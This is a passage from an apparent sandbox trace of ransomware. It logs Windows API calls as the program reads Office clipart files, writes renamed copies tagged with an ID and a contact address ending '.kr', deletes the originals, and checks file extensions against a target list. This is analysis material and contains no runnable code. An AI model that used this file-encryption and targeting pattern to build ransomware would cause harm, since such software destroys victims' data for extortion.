dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0191.564] GetLastError () returned 0x0 [0191.564] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3df0, lpOverlapped=0x0) returned 1 [0191.566] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3e00, lpOverlapped=0x0) returned 1 [0191.567] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.567] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.568] SetEndOfFile (hFile=0x53c) returned 1 [0191.568] CloseHandle (hObject=0x53c) returned 1 [0191.568] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.568] SetEndOfFile (hFile=0x410) returned 1 [0191.571] CloseHandle (hObject=0x410) returned 1 [0191.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0191.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.573] lstrlenW (lpString=".doc") returned 4 [0191.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.573] lstrlenW (lpString=".docx") returned 5 [0191.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.573] lstrlenW (lpString=".pdf") returned 4 [0191.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.573] lstrlenW (lpString=".xls") returned 4 [0191.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.573] lstrlenW (lpString=".xlsx") returned 5 [0191.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.573] lstrlenW (lpString=".ppt") returned 4 [0191.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.573] lstrlenW (lpString=".zip") returned 4 [0191.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.573] lstrlenW (lpString=".rar") returned 4 [0191.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.573] lstrlenW (lpString=".bz2") returned 4 [0191.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.573] lstrlenW (lpString=".7z") returned 3 [0191.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.573] lstrlenW (lpString=".dbf") returned 4 [0191.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.573] lstrlenW (lpString=".1cd") returned 4 [0191.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.574] lstrlenW (lpString=".jpg") returned 4 [0191.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.574] lstrlenW (lpString=".doc") returned 4 [0191.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString=".docx") returned 5 [0191.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.574] lstrlenW (lpString=".pdf") returned 4 [0191.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString=".xls") returned 4 [0191.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.574] lstrlenW (lpString=".xlsx") returned 5 [0191.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.574] lstrlenW (lpString=".ppt") returned 4 [0191.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.574] lstrlenW (lpString=".zip") returned 4 [0191.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.574] lstrlenW (lpString=".rar") returned 4 [0191.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString=".bz2") returned 4 [0191.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.574] lstrlenW (lpString=".7z") returned 3 [0191.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.574] lstrlenW (lpString=".dbf") returned 4 [0191.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.575] lstrlenW (lpString=".1cd") returned 4 [0191.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0191.575] lstrlenW (lpString=".jpg") returned 4 [0191.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.575] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.575] lstrlenW (lpString="FD00297_.WMF") returned 12 [0191.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.575] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=18194) returned 1 [0191.575] CloseHandle (hObject=0x410) returned 1 [0191.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0191.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.576] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.576] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0191.577] GetLastError () returned 0x0 [0191.577] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4712, lpOverlapped=0x0) returned 1 [0191.579] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4720, lpOverlapped=0x0) returned 1 [0191.580] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.580] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.581] SetEndOfFile (hFile=0x53c) returned 1 [0191.581] CloseHandle (hObject=0x53c) returned 1 [0191.581] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.581] SetEndOfFile (hFile=0x410) returned 1 [0191.584] CloseHandle (hObject=0x410) returned 1 [0191.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0191.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.585] lstrlenW (lpString=".doc") returned 4 [0191.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.585] lstrlenW (lpString=".docx") returned 5 [0191.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.585] lstrlenW (lpString=".pdf") returned 4 [0191.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.585] lstrlenW (lpString=".xls") returned 4 [0191.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.585] lstrlenW (lpString=".xlsx") returned 5 [0191.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.585] lstrlenW (lpString=".ppt") returned 4 [0191.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.586] lstrlenW (lpString=".zip") returned 4 [0191.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.586] lstrlenW (lpString=".rar") returned 4 [0191.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString=".bz2") returned 4 [0191.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString=".7z") returned 3 [0191.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.586] lstrlenW (lpString=".dbf") returned 4 [0191.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.586] lstrlenW (lpString=".1cd") returned 4 [0191.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.586] lstrlenW (lpString=".jpg") returned 4 [0191.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.586] lstrlenW (lpString=".doc") returned 4 [0191.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString=".docx") returned 5 [0191.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.586] lstrlenW (lpString=".pdf") returned 4 [0191.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.586] lstrlenW (lpString=".xls") returned 4 [0191.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.586] lstrlenW (lpString=".xlsx") returned 5 [0191.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.587] lstrlenW (lpString=".ppt") returned 4 [0191.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.587] lstrlenW (lpString=".zip") returned 4 [0191.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.587] lstrlenW (lpString=".rar") returned 4 [0191.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.587] lstrlenW (lpString=".bz2") returned 4 [0191.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.587] lstrlenW (lpString=".7z") returned 3 [0191.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.587] lstrlenW (lpString=".dbf") returned 4 [0191.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.587] lstrlenW (lpString=".1cd") returned 4 [0191.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0191.587] lstrlenW (lpString=".jpg") returned 4 [0191.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.587] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.587] lstrlenW (lpString="FD00306_.WMF") returned 12 [0191.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.588] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=46814) returned 1 [0191.588] CloseHandle (hObject=0x410) returned 1 [0191.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0191.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0191.589] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.589] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0192.528] GetLastError () returned 0x0 [0192.528] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0192.531] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0192.533] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.533] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.533] SetEndOfFile (hFile=0x520) returned 1 [0192.533] CloseHandle (hObject=0x520) returned 1 [0192.533] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.533] SetEndOfFile (hFile=0x410) returned 1 [0192.537] CloseHandle (hObject=0x410) returned 1 [0192.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0192.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.543] lstrlenW (lpString=".doc") returned 4 [0192.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.543] lstrlenW (lpString=".docx") returned 5 [0192.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.543] lstrlenW (lpString=".pdf") returned 4 [0192.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.543] lstrlenW (lpString=".xls") returned 4 [0192.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.543] lstrlenW (lpString=".xlsx") returned 5 [0192.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.543] lstrlenW (lpString=".ppt") returned 4 [0192.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.543] lstrlenW (lpString=".zip") returned 4 [0192.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.543] lstrlenW (lpString=".rar") returned 4 [0192.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.543] lstrlenW (lpString=".bz2") returned 4 [0192.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.543] lstrlenW (lpString=".7z") returned 3 [0192.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.543] lstrlenW (lpString=".dbf") returned 4 [0192.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.544] lstrlenW (lpString=".1cd") returned 4 [0192.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.544] lstrlenW (lpString=".jpg") returned 4 [0192.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.544] lstrlenW (lpString=".doc") returned 4 [0192.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.544] lstrlenW (lpString=".docx") returned 5 [0192.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.544] lstrlenW (lpString=".pdf") returned 4 [0192.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.544] lstrlenW (lpString=".xls") returned 4 [0192.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.544] lstrlenW (lpString=".xlsx") returned 5 [0192.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.544] lstrlenW (lpString=".ppt") returned 4 [0192.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.544] lstrlenW (lpString=".zip") returned 4 [0192.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.544] lstrlenW (lpString=".rar") returned 4 [0192.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.544] lstrlenW (lpString=".bz2") returned 4 [0192.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.544] lstrlenW (lpString=".7z") returned 3 [0192.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.544] lstrlenW (lpString=".dbf") returned 4 [0192.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.545] lstrlenW (lpString=".1cd") returned 4 [0192.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0192.545] lstrlenW (lpString=".jpg") returned 4 [0192.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.545] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0192.545] lstrlenW (lpString="FD00397_.WMF") returned 12 [0192.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.546] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10816) returned 1 [0192.546] CloseHandle (hObject=0x410) returned 1 [0192.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0192.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.547] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.547] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0192.548] GetLastError () returned 0x0 [0192.548] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2a40, lpOverlapped=0x0) returned 1 [0192.550] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, 